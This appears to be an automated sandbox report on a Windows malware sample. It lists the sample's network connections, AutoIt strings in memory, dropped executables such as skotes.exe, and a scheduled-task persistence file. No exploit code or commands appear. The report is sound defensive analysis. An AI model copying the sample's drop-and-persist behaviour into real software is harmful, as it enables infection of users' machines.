Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.5:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.91:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.5:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.5:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.182.143.212:443 -> 192.168.2.5:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.5:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.112.67:443 -> 192.168.2.5:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50328 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50329 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: fd549fc84a.exe, 00000014.00000002.3030348470.0000000000CA2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_5a39ffb4-d
Source: fd549fc84a.exe, 00000014.00000002.3030348470.0000000000CA2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_a09c8192-8

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe

File dump: service123.exe.41.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name:
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name: .idata
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: random[2].exe.15.dr	Static PE information: section name:
Source: random[2].exe.15.dr	Static PE information: section name: .idata
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name:
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name: .idata
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: random[2].exe0.15.dr	Static PE information: section name: .idata
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: 480f06d5d5.exe.15.dr	Static PE information: section name:
Source: 480f06d5d5.exe.15.dr	Static PE information: section name: .idata
Source: 480f06d5d5.exe.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name: .idata
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: 82d9128a9d.exe.15.dr	Static PE information: section name:
Source: 82d9128a9d.exe.15.dr	Static PE information: section name: .idata
Source: 82d9128a9d.exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name: .idata
Source: random[3].exe.15.dr	Static PE information: section name:
Source: 76ee5543cc.exe.15.dr	Static PE information: section name:
Source: 76ee5543cc.exe.15.dr	Static PE information: section name: .idata
Source: 76ee5543cc.exe.15.dr	Static PE information: section name:
Source: random[1].exe.15.dr	Static PE information: section name:
Source: random[1].exe.15.dr	Static PE information: section name: .idata
Source: random[1].exe.15.dr	Static PE information: section name:
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name:
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name: .idata
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: 998d30a932.exe.15.dr	Static PE information: section name:
Source: 998d30a932.exe.15.dr	Static PE information: section name: .idata
Source: 998d30a932.exe.15.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\Documents\EBFHJEGDAF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
